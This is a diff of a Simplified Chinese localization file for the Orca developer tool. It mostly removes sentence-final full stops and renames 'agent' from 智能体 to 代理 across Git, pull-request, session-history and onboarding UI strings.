+                  "18a0fca877": "全部暂存",
                   "f01f16d77f": "输入提交信息以进行提交",
                   "ab41fb926b": "提交已暂存的更改",
                   "a6457b46a7": "提交前解决冲突",
                   "484f45c439": "{{value0}} 正在进行中...",
                   "6f7a8b9c0d": "远程操作进行中…",
                   "7f8a9b0c1d": "远程操作进行中——请等它完成后重试",
-                  "74fc171e99": "强制推送正在进行中...",
+                  "74fc171e99": "Force Push 正在进行中...",
                   "16aee3a5c1": "正在提交…",
-                  "e61b0d7a3c": "请先检出分支再发布提交。",
+                  "e61b0d7a3c": "请先检出分支再发布提交",
                   "1d47e850cf": "将更新推送到已关联的评审分支",
-                  "c39d0c75c3": "已关联的评审分支目标不可用。",
+                  "c39d0c75c3": "已关联的评审分支目标不可用",
                   "d37e68f61d": "正在准备分支以供评审…",
                   "c72e5e65d1": "准备此分支并创建 {{value0}}",
-                  "b8e4f2a901": "等待远程操作完成。",
-                  "c9f3a1b802": "在创建 {{value0}} 之前解决冲突。",
-                  "e3b9d5f814": "无法从默认分支创建 {{value0}}。",
-                  "f4c0e6a925": "在创建 {{value0}} 之前提交更改。",
-                  "a5d1f7b036": "在创建 {{value0}} 之前发布提交。",
-                  "b6e2a8c147": "在创建 {{value0}} 之前推送提交。",
-                  "c7f3b9d258": "在创建 {{value0}} 之前同步此分支。",
-                  "d8a4c0e369": "在创建 {{value0}} 之前进行身份验证。",
-                  "e9b5d1f470": "在创建 {{value0}} 之前检出一个分支。",
-                  "f0c6e2a581": "此分支尚未准备好创建 {{value0}}。",
-                  "8f9a0b1c2d": "没有可提交的内容。分支已是最新状态。",
+                  "b8e4f2a901": "等待远程操作完成",
+                  "c9f3a1b802": "在创建 {{value0}} 之前解决冲突",
+                  "e3b9d5f814": "无法从默认分支创建 {{value0}}",
+                  "f4c0e6a925": "在创建 {{value0}} 之前提交更改",
+                  "a5d1f7b036": "在创建 {{value0}} 之前发布提交",
+                  "b6e2a8c147": "在创建 {{value0}} 之前推送提交",
+                  "c7f3b9d258": "在创建 {{value0}} 之前同步此分支",
+                  "d8a4c0e369": "在创建 {{value0}} 之前进行身份验证",
+                  "e9b5d1f470": "在创建 {{value0}} 之前检出一个分支",
+                  "f0c6e2a581": "此分支尚未准备好创建 {{value0}}",
+                  "8f9a0b1c2d": "没有可提交的内容，分支已是最新状态",
                   "h3i4j5k607": "正在检查此分支是否可以创建 {{value0}}…"
                 }
               },
@@ -13816,18 +14124,18 @@
                 "line": {
                   "total": {
                     "chip": {
-                      "daa8e8e59b": "添加了 {{value0}} 行，删除了 {{value1}} 行",
-                      "8a9b97b666": "添加了 {{value0}} 行",
-                      "52c366d88d": "{{value0}} 行已删除",
-                      "4c1f70ba92": "{{value0}} — 测试代码：添加 {{value1}} 行，删除 {{value2}} 行",
+                      "daa8e8e59b": "新增 {{value0}} 行，删除 {{value1}} 行",
+                      "8a9b97b666": "新增 {{value0}} 行",
+                      "52c366d88d": "删除 {{value0}} 行",
+                      "4c1f70ba92": "{{value0}} — 测试代码：新增 {{value1}} 行，删除 {{value2}} 行",
                       "6b2d0f14a7": "测试",
-                      "9e4a3c5081": "未测试",
+                      "9e4a3c5081": "非测试",
                       "3d7e9b1042": "非生成",
-                      "a1b2c3d4e5": "代码分解",
+                      "a1b2c3d4e5": "代码构成",
                       "b2c3d4e5f6": "代码行数",
-                      "7f3e1a9c24": "{{value0}} — 生成：添加 {{value1}} 行，删除 {{value2}} 行",
-                      "c8d5b21e07": "来源",
-                      "7a04c6f8b3": "生成"
+                      "7f3e1a9c24": "{{value0}} — 生成代码：新增 {{value1}} 行，删除 {{value2}} 行",
+                      "c8d5b21e07": "源码",
+                      "7a04c6f8b3": "已生成"
                     }
                   }
                 }
@@ -13844,23 +14152,23 @@
                     "7f3af87549": "变基冲突",
                     "6a8e9ad490": "挑选冲突",
                     "bdf8772106": "冲突",
-                    "edc2d82a2b": "合并正在进行中",
-                    "5c3707aa44": "变基正在进行中",
-                    "ffe53a1da6": "正在进行 cherry-pick",
-                    "35eb76d323": "操作正在进行中",
+                    "edc2d82a2b": "正在合并",
+                    "5c3707aa44": "正在变基",
+                    "ffe53a1da6": "正在挑选",
+                    "35eb76d323": "操作进行中",
                     "completeMerge": "完成合并"
                   }
                 }
               },
               "content": {
                 "status": {
-                  "3f425c239c": "该分支没有任何变化",
-                  "640f6fdb36": "该工作区是干净的，并且该分支在 {{value0}} 之前没有任何更改",
-                  "8deb86bbec": "根据",
-                  "978eba351e": "搜索文字太大",
-                  "0bce43409f": "使用较短的文件过滤器。",
+                  "3f425c239c": "此分支没有更改",
+                  "640f6fdb36": "此工作区是干净的，此分支相对于 {{value0}} 没有更改",
+                  "8deb86bbec": "基础",
+                  "978eba351e": "搜索文本过大",
+                  "0bce43409f": "使用较短的文件筛选器",
                   "1b6caf533d": "没有匹配的文件",
-                  "00c07771b7": "没有更改的文件与“{{value0}}”匹配"
+                  "00c07771b7": "没有更改的文件匹配 \"{{value0}}\""
                 }
               },
               "diff": {
@@ -13872,11 +14180,11 @@
               },
               "commit": {
                 "area": {
-                  "cc5739bd1d": "正在生成提交消息...",
-                  "4cbd0cd9d2": "正在进行中……",
-                  "e7876a2bde": "暂存至少一个文件以生成消息。",
-                  "0904be2505": "清除消息以重新生成。",
-                  "1ea9ba37aa": "在“设置”->“Git”->“源代码管理 AI”中选择一个智能体。"
+                  "cc5739bd1d": "正在生成提交消息…",
+                  "4cbd0cd9d2": "提交进行中…",
+                  "e7876a2bde": "至少暂存一个文件以生成消息",
+                  "0904be2505": "清除消息以重新生成",
+                  "1ea9ba37aa": "在设置 -> Git -> 源代码管理 AI 中选择代理"
                 },
                 "completeMergeFailed": "无法完成合并"
               }
@@ -13886,41 +14194,41 @@
             "source": {
               "control": {
                 "ai": {
-                  "cfafa92509": "没有未解决的冲突需要发送。"
+                  "cfafa92509": "没有未解决的冲突需要发送"
                 },
                 "bulk": {
                   "actions": {
-                    "2f67630884": "批量阶段/取消阶段失败"
+                    "2f67630884": "批量暂存/取消暂存失败"
                   }
                 }
               }
             }
           },
           "fileExplorerOperationOwner": {
-            "unresolved": "无法确定哪个主机拥有此工作区。请检查连接后重试。"
+            "unresolved": "无法确定哪个主机拥有此工作区，请检查连接后重试"
           },
           "useFileDeletion": {
-            "d979a4fbb5": "永久删除“{{value0}}”？",
+            "d979a4fbb5": "永久删除\"{{value0}}\"？",
             "92276aceb7": "删除",
-            "7fb9435c86": "这会永久删除远程主机上的目录及其内容。此操作无法撤销。",
-            "23e98f192f": "这会永久删除远程主机上的文件。此操作无法撤销。",
-            "8b8ee9d22f": "无法确定哪个主机拥有此文件。请检查工作区连接后重试。",
-            "dd029aa5cd": "这会永久删除远程主机上所选的各项及任何目录内容。此操作无法撤销。",
-            "deleteFailed": "删除“{{name}}”失败。",
+            "7fb9435c86": "这会永久删除远程主机上的目录及其内容，此操作无法撤销",
+            "23e98f192f": "这会永久删除远程主机上的文件，此操作无法撤销",
+            "8b8ee9d22f": "无法确定哪个主机拥有此文件，请检查工作区连接后重试",
+            "dd029aa5cd": "这会永久删除远程主机上所选的各项及任何目录内容，此操作无法撤销",
+            "deleteFailed": "删除“{{name}}”失败",
             "deleteItems_other": "删除 {{count}} 项内容？",
-            "mixedRecycleBin": "远程内容将被永久删除，此操作无法撤销。本地内容将移到回收站。",
-            "mixedTrash": "远程内容将被永久删除，此操作无法撤销。本地内容将移到废纸篓。",
+            "mixedRecycleBin": "远程内容将被永久删除，此操作无法撤销。本地内容将移到回收站",
+            "mixedTrash": "远程内容将被永久删除，此操作无法撤销。本地内容将移到废纸篓",
             "permanentlyDeleteItems_other": "永久删除 {{count}} 项内容？",
-            "recycleBinFailed": "无法将“{{name}}”移到回收站。",
-            "trashFailed": "无法将“{{name}}”移到废纸篓。"
+            "recycleBinFailed": "无法将“{{name}}”移到回收站",
+            "trashFailed": "无法将“{{name}}”移到废纸篓"
           },
           "useFileExplorerHandlers": {
             "32cd9fd991": "无法打开符号链接目标"
           },
           "useFileExplorerImport": {
-            "importFailedCount_other": "无法导入 {{count}} 个文件。",
-            "importSkippedCount_other": "已跳过 {{count}} 个文件。",
-            "importFailed": "无法导入文件。"
+            "importFailedCount_other": "无法导入 {{count}} 个文件",
+            "importSkippedCount_other": "已跳过 {{count}} 个文件",
+            "importFailed": "无法导入文件"
           },
           "useFileExplorerKeys": {
             "8adb953095": "操作失败"
@@ -13950,33 +14258,33 @@
           "AiVaultPanel": {
             "resumeCommandCopied": "恢复命令已复制",
             "valueCopied": "{{value0}} 已复制",
-            "openWorkspaceBeforeResuming": "恢复会话前请先打开一个工作区。",
+            "openWorkspaceBeforeResuming": "恢复会话前请先打开一个工作区",
             "agentSessionQueued": "{{value0}} 会话已排队",
-            "sessionHistory": "智能体会话历史",
+            "sessionHistory": "代理会话历史",
             "resumePastSessions": "恢复过往会话",
             "refreshSessionHistory": "刷新会话历史",
             "searchSessions": "搜索会话",
             "clearSearch": "清除搜索",
-            "noAgentSessionsFound": "未找到智能体会话",
+            "noAgentSessionsFound": "未找到代理会话",
             "noSessionsMatchFilters": "没有会话符合当前筛选条件",
-            "noAgentsSelected": "未选择任何智能体",
+            "noAgentsSelected": "未选择任何代理",
             "sessionId": "会话 ID",
             "logPath": "日志路径",
-            "agents": "智能体",
-            "originalPaneUnavailable": "原始面板不再可用。",
-            "worktreeUnavailable": "工作树不再可用。",
-            "openSupportedWorkspace": "在恢复会话之前，请先打开一个工作区。",
-            "sessionHostMismatchUnsupported": "此会话属于其他主机。请打开同一主机上的工作区以恢复它。",
-            "prepareSessionResumeFailed": "无法为恢复准备此会话。",
+            "agents": "代理",
+            "originalPaneUnavailable": "原始面板不再可用",
+            "worktreeUnavailable": "工作树不再可用",
+            "openSupportedWorkspace": "在恢复会话之前，请先打开一个工作区",
+            "sessionHostMismatchUnsupported": "此会话属于其他主机，请打开同一主机上的工作区以恢复它",
+            "prepareSessionResumeFailed": "无法为恢复准备此会话",
             "sessionDeleted": "会话已删除",
             "sessionDeleteFailed": "无法删除会话",
             "sessionDeleteCheckingHost": "正在检查 {{value0}}…",
-            "resumeInChatConflict": "另一个聊天室已经在进行此对话。",
-            "resumeInChatTranscriptMissing": "无法加载此对话的历史记录，因此无法在聊天中恢复。",
-            "resumeInChatFailed": "无法在新聊天中恢复此会话。",
-            "resumeInNewCliUnavailable": "无法在 CLI 中打开此会话。",
-            "resumeInNewCliHostTooOld": "请更新运行此聊天的主机上的 Orca，才能在新的 CLI 中恢复它。",
-            "folderWorkspaceUnavailable": "文件夹工作区不再可用。",
+            "resumeInChatConflict": "另一个聊天已占用此对话",
+            "resumeInChatTranscriptMissing": "无法加载此对话的历史记录，因此无法在聊天中恢复",
+            "resumeInChatFailed": "无法在新聊天中恢复此会话",
+            "resumeInNewCliUnavailable": "无法在 CLI 中打开此会话",
+            "resumeInNewCliHostTooOld": "请更新运行此聊天的主机上的 Orca，才能在新的 CLI 中恢复它",
+            "folderWorkspaceUnavailable": "文件夹工作区不再可用",
             "transcriptsSkippedCount_other": "已跳过 {{count}} 份对话记录"
           },
           "AiVaultPanelControls": {
@@ -13987,14 +14295,14 @@
             "allScope": "全部",
             "viewOptionsAriaLabel": "会话历史查看选项",
             "viewOptions": "查看选项",
-            "agents": "智能体",
+            "agents": "代理",
             "selectAllAgents": "选择全部",
             "clearAgents": "清除",
             "lastUpdated": "最后更新",
             "created": "创建时间",
             "group": "分组",
             "folder": "文件夹",
-            "agent": "智能体",
+            "agent": "代理",
             "resetView": "重置视图",
             "hideEmptySessions": "隐藏空会话",
             "workspaceScope": "工作区",
@@ -14017,14 +14325,14 @@
             "latestTurns": "最近轮次",
             "noPreviewAvailable": "没有可用的对话预览",
             "userRole": "你",
-            "agentRole": "智能体",
+            "agentRole": "代理",
             "toolRole": "工具",
             "systemRole": "系统",
             "sessionRole": "会话",
             "worktree": "工作树",
             "conversationNotSaved": "对话未保存",
-            "recoverableEmptyOpenLogHint": "打开日志以恢复它们。",
-            "emptyConversationDetail": "此会话没有已保存的对话，无法恢复。",
+            "recoverableEmptyOpenLogHint": "打开日志以恢复它们",
+            "emptyConversationDetail": "此会话没有已保存的对话，无法恢复",
             "prompt": "提示",
             "firstPrompt": "首次提示",
             "recentPrompt": "最近提示",
@@ -14039,7 +14347,7 @@
             "loadingFirstPrompt": "正在加载首次提示…",
             "folder": "文件夹",
             "resumeInFolder": "在文件夹中恢复",
-            "recoverableEmptyDetailCount_other": "此会话没有已保存的对话，但仍有 {{count}} 个可恢复项。",
+            "recoverableEmptyDetailCount_other": "此会话没有已保存的对话，但仍有 {{count}} 个可恢复项",
             "queuedMessageCount_other": "{{count}} 条排队消息",
             "subagentTranscriptCount_other": "{{count}} 份子智能体对话记录"
           },
@@ -14061,29 +14369,29 @@
             "noPreviewAvailable": "没有可用的对话预览",
             "dragToResume": "拖动以在新标签页中恢复",
             "userRole": "你",
-            "agentRole": "智能体",
+            "agentRole": "代理",
             "toolRole": "工具",
             "systemRole": "系统",
             "sessionRole": "会话",
             "jumpToOriginalPane": "跳转到原始窗格",
             "jumpToWorktree": "跳转到工作树",
             "recoverableBadge": "未保存",
-            "subagentCountSingular": "1 个子智能体",
-            "subagentCountPlural": "{{value0}} 个子智能体",
+            "subagentCountSingular": "1 个子代理",
+            "subagentCountPlural": "{{value0}} 个子代理",
             "delete": "删除",
-            "deleteReasonNonLocalHost": "只能删除此设备上的会话。",
-            "deleteReasonHostUpdateRequired": "请更新 {{value0}}，以便从这里删除其会话。",
-            "deleteReasonSyntheticPath": "此会话无法在 Orca 中删除。",
-            "deleteReasonUnsupportedAgent": "{{value0}} 会话无法在 Orca 中删除。",
+            "deleteReasonNonLocalHost": "只能删除此设备上的会话",
+            "deleteReasonHostUpdateRequired": "请更新 {{value0}}，以便从这里删除其会话",
+            "deleteReasonSyntheticPath": "此会话无法在 Orca 中删除",
+            "deleteReasonUnsupportedAgent": "{{value0}} 会话无法在 Orca 中删除，",
             "resumeInNewNativeChat": "在新聊天中恢复",
             "resumeInNewCli": "在新终端中恢复",
-            "resumeInNewCliTooltipFork": "使用此对话的副本启动新的终端智能体会话。",
-            "resumeInNewCliTooltipChat": "此聊天保持不变。"
+            "resumeInNewCliTooltipFork": "使用此对话的副本启动新的终端代理会话",
+            "resumeInNewCliTooltipChat": "此聊天保持不变"
           },
           "AiVaultSessionDeleteDialog": {
             "title": "要删除此会话吗？",
-            "description": "“{{value0}}”将被删除。删除后，也将无法通过 {{value1}} 自身的命令行恢复。",
-            "remoteDescription": "“{{value0}}”将从 {{value2}} 删除。删除后，也无法再从 {{value1}} 自己的命令行恢复。",
+            "description": "\"{{value0}}\"将被删除，删除后，也将无法通过 {{value1}} 自身的命令行恢复",
+            "remoteDescription": "“{{value0}}”将从 {{value2}} 删除。删除后，也无法再从 {{value1}} 自己的命令行恢复",
             "confirm": "删除"
           },
           "FileExplorerNameFilter": {
@@ -14114,14 +14422,14 @@
             "policy": {
               "notice": {
                 "merge": "合并 (Merge)",
-                "mergeDescription": "当本地和远程都发生更改时，创建一个合并提交。",
+                "mergeDescription": "当本地和远程都发生更改时，创建一个合并提交",
                 "rebase": "变基 (Rebase)",
-                "rebaseDescription": "在远程分支之上重新应用本地提交。",
+                "rebaseDescription": "在远程分支之上重新应用本地提交",
                 "fastForwardOnly": "仅快进 (Fast-forward)",
-                "fastForwardOnlyDescription": "仅在不需要合并或变基时进行拉取。",
+                "fastForwardOnlyDescription": "仅在不需要合并或变基时进行拉取",
                 "title": "拉取需要策略",
                 "diverged": "分支已分叉",
-                "body": "此分支具有本地和远程提交。在此工作树或 SSH 主机上运行一个命令，然后重新尝试拉取或同步。",
+                "body": "此分支具有本地和远程提交，在此工作树或 SSH 主机上运行一个命令，然后重新尝试拉取或同步",
                 "copyAria": "复制 {{value0}} 拉取策略命令",
                 "copied": "已复制",
                 "copyCommand": "复制命令"
@@ -14134,39 +14442,39 @@
             "archivedWorktree": "已归档工作树",
             "unavailableWorktree": "不可用的工作树",
             "jumpToWorktree": "跳转到工作树",
-            "noRecordedWorktree": "此会话没有记录工作树。",
-            "archivedJumpUnavailable": "此会话位于已归档的工作树中。",
-            "noActiveWorktreeMatch": "没有与此会话匹配的活动工作树。",
-            "noActiveWorktreeTarget": "没有可用的活动工作树。",
+            "noRecordedWorktree": "此会话没有记录工作树",
+            "archivedJumpUnavailable": "此会话位于已归档的工作树中",
+            "noActiveWorktreeMatch": "没有与此会话匹配的活动工作树",
+            "noActiveWorktreeTarget": "没有可用的活动工作树",
             "activeFolder": "文件夹",
             "archivedFolder": "已归档的文件夹",
-            "archivedFolderJumpUnavailable": "此会话位于已归档的文件夹中。",
+            "archivedFolderJumpUnavailable": "此会话位于已归档的文件夹中",
             "currentFolder": "当前文件夹",
             "jumpToFolder": "跳转到文件夹"
           },
           "AiVaultSessionSubagents": {
-            "subagentsCount": "子智能体（{{value0}}）",
+            "subagentsCount": "子代理({{value0}})",
             "messageCount": "{{value0}} 条消息",
             "viewLog": "查看日志"
           },
           "aiVaultSessionLogOpen": {
-            "workspaceGone": "无法打开日志 — 工作区已不可用。",
-            "alreadyEditable": "日志已处于编辑状态。"
+            "workspaceGone": "无法打开日志 — 工作区已不可用",
+            "alreadyEditable": "日志已处于编辑状态"
           },
           "github": {
             "refresh": {
               "error": {
                 "copy": {
                   "580025e7b7": "GitHub 不可用",
-                  "01c85b5770": "GitHub 的 API 暂时不可用。恢复后此面板会自动重新加载。",
+                  "01c85b5770": "GitHub 的 API 暂时不可用，恢复后此面板会自动重新加载",
                   "d1a9f2b165": "无法访问 GitHub",
-                  "7d01d42a3a": "现在无法访问 GitHub。请检查网络连接，稍后重试。",
+                  "7d01d42a3a": "现在无法访问 GitHub，请检查网络连接，稍后重试",
                   "e9d681894a": "已达到 GitHub 速率限制",
-                  "8c77434d6f": "GitHub 正在限制请求频率。限制重置后此面板会自动刷新。",
-                  "79aa06bb2c": "刷新失败。GitHub 的 API 暂时不可用。正在显示上次已知状态。",
-                  "6ec12cee0c": "刷新失败。现在无法访问 GitHub。正在显示上次已知状态。",
-                  "de088015e8": "刷新失败。GitHub 正在限制请求频率。正在显示上次已知状态。",
-                  "d9dd7c6687": "无法从 GitHub 刷新。正在显示上次已知状态。",
+                  "8c77434d6f": "GitHub 正在限制请求频率，限制重置后此面板会自动刷新",
+                  "79aa06bb2c": "刷新失败，GitHub 的 API 暂时不可用，正在显示上次已知状态",
+                  "6ec12cee0c": "刷新失败，现在无法访问 GitHub，正在显示上次已知状态",
+                  "de088015e8": "刷新失败，GitHub 正在限制请求频率，正在显示上次已知状态",
+                  "d9dd7c6687": "无法从 GitHub 刷新，正在显示上次已知状态",
                   "manual_provider": "无法从 {{provider}} 刷新。请重试。"
                 }
               }
@@ -14174,39 +14482,39 @@
             "pr": {
               "stack": {
                 "confirmation": {
-                  "84f6f5b9eb": "包括：{{numbers}}。",
+                  "84f6f5b9eb": "包括：{{numbers}}",
                   "541984b2eb": "通过 #{{pr}} 排队？",
                   "1feef35ca4": "通过#{{pr}} 合并？",
-                  "queueDescription_other": "{{included}}GitHub 会将 {{count}} 个 PR 一起添加到合并队列。队列会选择合并方法，并可能分组进行合并。",
+                  "queueDescription_other": "{{included}}GitHub 会将 {{count}} 个 PR 一起添加到合并队列。队列会选择合并方法，并可能分组进行合并",
                   "queueConfirm_other": "将 {{count}} 个 PR 加入队列",
-                  "mergeDescription_other": "{{included}}GitHub 将使用 {{method}} 以原子方式合并 {{count}} 个 PR。如果其中任何一个无法合并，则所有 PR 都不会合并。",
+                  "mergeDescription_other": "{{included}}GitHub 将使用 {{method}} 以原子方式合并 {{count}} 个 PR。如果其中任何一个无法合并，则所有 PR 都不会合并",
                   "mergeConfirm_other": "合并 {{count}} 个 PR"
                 },
                 "merge": {
-                  "189d0ec614": "#{{pr}} 仍然是草案。",
-                  "640fb50d9c": "#{{pr}} 已关闭。",
-                  "46ffcbda75": "#{{pr}} 有合并冲突。",
-                  "6dabefd63e": "#{{pr}} 已请求更改。",
-                  "2bb21fc326": "#{{pr}} 仍需评审批准。",
-                  "c23faf74df": "#{{pr}} 必须更新。",
-                  "f561e80968": "#{{pr}} 被阻止。",
+                  "189d0ec614": "#{{pr}} 仍然是草案",
+                  "640fb50d9c": "#{{pr}} 已关闭",
+                  "46ffcbda75": "#{{pr}} 有合并冲突",
+                  "6dabefd63e": "#{{pr}} 已请求更改",
+                  "2bb21fc326": "#{{pr}} 仍需评审批准",
+                  "c23faf74df": "#{{pr}} 必须更新",
+                  "f561e80968": "#{{pr}} 被阻止",
                   "mergeThroughLabel_other": "合并至 #{{pr}}（含）· {{count}} 个 PR"
                 }
               }
             }
           },
           "PluginPanel": {
-            "unavailable": "此插件面板已不可用。",
+            "unavailable": "此插件面板已不可用",
             "loading": "正在加载插件面板...",
-            "unresponsive": "插件面板停止响应，已被暂停。",
-            "loadFailed": "无法加载插件面板。"
+            "unresponsive": "插件面板停止响应，已被暂停",
+            "loadFailed": "无法加载插件面板"
           },
           "activityBar": {
             "error": "错误"
           },
           "AiVaultSessionLimitMenu": {
             "historyDepth": "历史记录数量：{{value0}}",
-            "performanceWarning": "加载更多历史记录可能会拖慢整个应用，尤其是在远程主机上。无限制模式会扫描所有可用历史记录。",
+            "performanceWarning": "加载更多历史记录可能会拖慢整个应用，尤其是在远程主机上，无限制模式会扫描所有可用历史记录",
             "recommended": "推荐",
             "mayBeSlower": "可能较慢",
             "slowest": "最慢",
@@ -14227,24 +14535,24 @@
             "0c1645ebd0": "展开堆栈 #{{value0}}",
             "e3ee2daa32": "堆栈#{{value0}}",
             "cb440931b7": "{{value1}} 的 {{value0}} · {{value2}}",
-            "525259fa17": "堆栈详细信息暂时不可用。"
+            "525259fa17": "堆栈详细信息暂时不可用"
           },
           "CreateHostedReviewBasePicker": {
             "205ef284fa": "基地支部",
             "bb4b41d563": "来自 {{value0}}",
-            "5a9315b61a": "没有分支匹配“{{value0}}”。无论如何，按 Enter 键即可使用它。",
-            "da4d57c9c2": "留空以使用 {{value0}}。"
+            "5a9315b61a": "没有分支匹配\"{{value0}}\"，无论如何，按 Enter 键即可使用它",
+            "da4d57c9c2": "留空以使用 {{value0}}"
           },
           "CreateHostedReviewComposerFields": {
             "90cabf6cfc": "将此 PR 叠加在 #{{value0}} 之上",
-            "ff81473a57": "创建 GitHub Stack 或扩展父级的现有堆栈。",
+            "ff81473a57": "创建 GitHub 堆栈，或扩展父级的现有堆栈",
             "29732f2fb0": "新 PR"
           },
           "AiVaultSearchEvidence": {
-            "sourceUnverifiable": "无法确认会话记录是否可用",
-            "sourceMissing": "会话记录已不可用",
-            "metadataMatch": "会话元数据中的匹配",
-            "sourceActionsUnavailable": "转录来源不可用。"
+            "sourceUnverifiable": "无法验证记录是否可用",
+            "sourceMissing": "记录已不可用",
+            "metadataMatch": "会话元数据中有匹配项",
+            "sourceActionsUnavailable": "记录来源不可用"
           },
           "AiVaultScanProgressStrip": {
             "fileCount_one": "{{value0}} 个文件",
@@ -14264,7 +14572,7 @@
                     "start": {
                       "git": {
                         "operation": {
-                          "running": "请等待正在运行的 Git 操作完成。"
+                          "running": "请等待正在运行的 Git 操作完成"
                         }
                       }
                     }
@@ -14289,8 +14597,8 @@
           },
           "CreatePullRequest": {
             "createInProgress": "正在创建 PR...",
-            "workspaceHostUnresolved": "无法解析工作区主机。请刷新工作区后重试。",
-            "branchDiscoveryFailed": "分支发现失败。"
+            "workspaceHostUnresolved": "无法解析工作区主机。请刷新工作区后重试",
+            "branchDiscoveryFailed": "分支发现失败"
           }
         }
       },
@@ -14301,21 +14609,21 @@
           "selectedOfTotal": "已选 {{selected}} 个，共 {{total}} 个"
         },
         "NestedRepoScanLimitNotice": {
-          "642a43c139": "嵌套仓库扫描限制",
-          "574eb5408b": "显示部分扫描结果。",
-          "03e9beab7b": "扫描提前停止。",
+          "642a43c139": "嵌套存储库扫描限制",
+          "574eb5408b": "显示部分扫描结果",
+          "03e9beab7b": "扫描提前停止",
           "milliseconds": "{{count}} ms",
           "seconds_other": "{{count}} 秒",
           "folderLevels_other": "{{count}} 层文件夹",
           "repositories_other": "{{count}} 个仓库",
-          "limitText": "扫描达到 {{depth}} 或 {{repos}} 后会停止。可提前停止扫描并导入目前找到的仓库。",
-          "limitTextWithTimeout": "扫描达到 {{depth}}、{{repos}} 或 {{timeout}} 后会停止。可提前停止扫描并导入目前找到的仓库。"
+          "limitText": "扫描达到 {{depth}} 或 {{repos}} 后会停止。可提前停止扫描并导入目前找到的仓库",
+          "limitTextWithTimeout": "扫描达到 {{depth}}、{{repos}} 或 {{timeout}} 后会停止。可提前停止扫描并导入目前找到的仓库"
         },
         "RepoCombobox": {
           "b3e15f4525": "添加项目",
           "b4a235e886": "添加项目",
           "3639fd9da2": "SSH",
-          "e7ed739236": "没有项目/文件夹与您的搜索匹配。",
+          "e7ed739236": "没有项目/文件夹与您的搜索匹配",
           "a0c48f5f29": "搜索项目/文件夹...",
           "116812151a": "添加项目..."
         },
@@ -14337,7 +14645,7 @@
             "3c5a593bc8": "网络",
             "477b28c948": "数据库",
             "787490e9bd": "包裹",
-            "07012dc113": "智能体",
+            "07012dc113": "代理",
             "3eba7387ab": "终端",
             "65b437c381": "代码",
             "bed2674f9d": "文件夹"
@@ -14358,43 +14666,44 @@
       },
       "onboarding": {
         "AgentStep": {
-          "e6a369bd04": "热门智能体",
+          "e6a369bd04": "热门代理",
           "d7b3ef168b": "在系统中已检测",
           "9c163bb0e0": "安装说明",
-          "1eee1c7bd8": "PATH 中未检测到智能体。可选择一个稍后安装，或使用空白终端继续。",
-          "hideAgents": "隐藏智能体",
+          "1eee1c7bd8": "PATH 中未检测到代理，可选择一个稍后安装，或使用空白终端继续",
+          "hideAgents": "隐藏代理",
           "yoloModeLabel": "Yolo 模式",
-          "yoloPermissionsDescription": "智能体会在不询问的情况下运行命令和编辑文件，部分智能体还会绕过沙箱。仅在你信任的项目中使用。",
+          "yoloPermissionsDescription": "智能体会在不询问的情况下运行命令和编辑文件，部分智能体还会绕过沙箱，仅在你信任的项目中使用",
           "showMoreAgents_other": "再显示 {{count}} 个智能体 →",
-          "agentNotOnPath": "<agent>{{agent}}</agent> 尚未添加到 PATH。Orca 会将其设为默认，你可以随时安装。"
+          "agentNotOnPath": "<agent>{{agent}}</agent> 尚未添加到 PATH。Orca 会将其设为默认，你可以随时安装",
+          "showMoreAgents": "显示另外 {{value0}} 个代理→"
         },
         "IntegrationsStep": {
-          "277f30eb34": "Linear、GitLab、Bitbucket、Azure DevOps、Gitea 和 Jira 位于“设置”>“集成”中。",
+          "277f30eb34": "Linear、GitLab、Bitbucket、Azure DevOps、Gitea 和 Jira 位于\"设置\">\"集成\"中",
           "3a3e360289": "更多任务来源",
           "80e3ce0bc9": "重新检查",
           "04ef416712": "添加 Linear 访问",
           "dd9c186a8b": "添加工作区访问权限",
           "c91a5782f1": "已连接",
           "27743304b1": "Linear",
-          "af69f42372": "按 Enter 运行 GitHub CLI 身份验证。浏览器或设备流程完成后重新检查 GitHub。",
+          "af69f42372": "按 Enter 运行 GitHub CLI 身份验证，浏览器或设备流程完成后重新检查 GitHub",
           "f9d2e12d17": "GitHub 登录命令",
           "6d469169f2": "GitHub 设置",
           "bd5d976fb2": "安装gh",
-          "50db38cf4b": "PR、议题和检查状态。",
-          "c1547656f0": "检查…",
+          "50db38cf4b": "PR、议题和检查状态",
+          "c1547656f0": "检查...",
           "8405043962": "需要登录",
           "5c115cb713": "CLI 未安装",
           "217beb0658": "GitHub",
-          "4983ae7433": "使用个人 API 密钥添加 Linear 访问权限。完全访问密钥可显示密钥所有者可访问的全部团队。",
+          "4983ae7433": "使用个人 API 密钥添加 Linear 访问权限，完全访问密钥可显示密钥所有者可访问的全部团队",
           "d6e5dba05a": "登录",
           "0b4a7d23ab": "登录",
-          "linearWorkspacesLinkedSingular": "已关联 {{count}} 个工作区。可随时添加其他工作区或更换受限密钥。",
-          "linearWorkspacesLinkedPlural": "已关联 {{count}} 个工作区。可随时添加其他工作区或更换受限密钥。"
+          "linearWorkspacesLinkedSingular": "已关联 {{count}} 个工作区。可随时添加其他工作区或更换受限密钥",
+          "linearWorkspacesLinkedPlural": "已关联 {{count}} 个工作区。可随时添加其他工作区或更换受限密钥"
         },
         "NotificationStep": {
           "3bede04483": "发送测试通知",
           "dc897423e1": "选择通知声音",
-          "0fe570690c": "选择发送桌面通知后 Orca 播放的警报。",
+          "0fe570690c": "选择发送桌面通知后 Orca 播放的警报",
           "0af746e41f": "选择声音",
           "e52aacf380": "正在加载通知设置...",
           "3cd5374e22": "通知设置仍在加载中",
@@ -14403,7 +14712,7 @@
           "ac80d97e02": "更改自定义文件",
           "56b836215c": "正在检查通知权限…",
           "fd84d3e9b8": "通知已启用",
-          "4f7bce5644": "当智能体完成或终端需要处理时，macOS 会提醒你。",
+          "4f7bce5644": "当代理完成或终端需要处理时，macOS 会提醒你",
           "95d99b52fa": "允许 Orca 发送通知",
           "4f6a1da718": "打开系统设置",
           "90b5d2e363": "macOS 未送达 Orca 的通知"
@@ -14415,12 +14724,12 @@
           "277ba45540": "Orca 入门引导",
           "97c42cda00": "安装 GitHub CLI 以：",
           "ae3b00ca82": "设置 GitHub 任务",
-          "ff92d15436": "Orca 会在智能体完成工作或需要帮助时通知你。",
+          "ff92d15436": "Orca 会在智能体完成工作或需要帮助时通知你",
           "b054332836": "设置通知",
           "f396db9f20": "让这里有家的感觉",
-          "198b148b3c": "选择默认智能体",
+          "198b148b3c": "选择默认代理",
           "windowsTerminalTitle": "设置 Windows 终端默认值",
-          "windowsTerminalSubtitle": "为新面板选择默认 Shell，以及终端中右键单击的行为。",
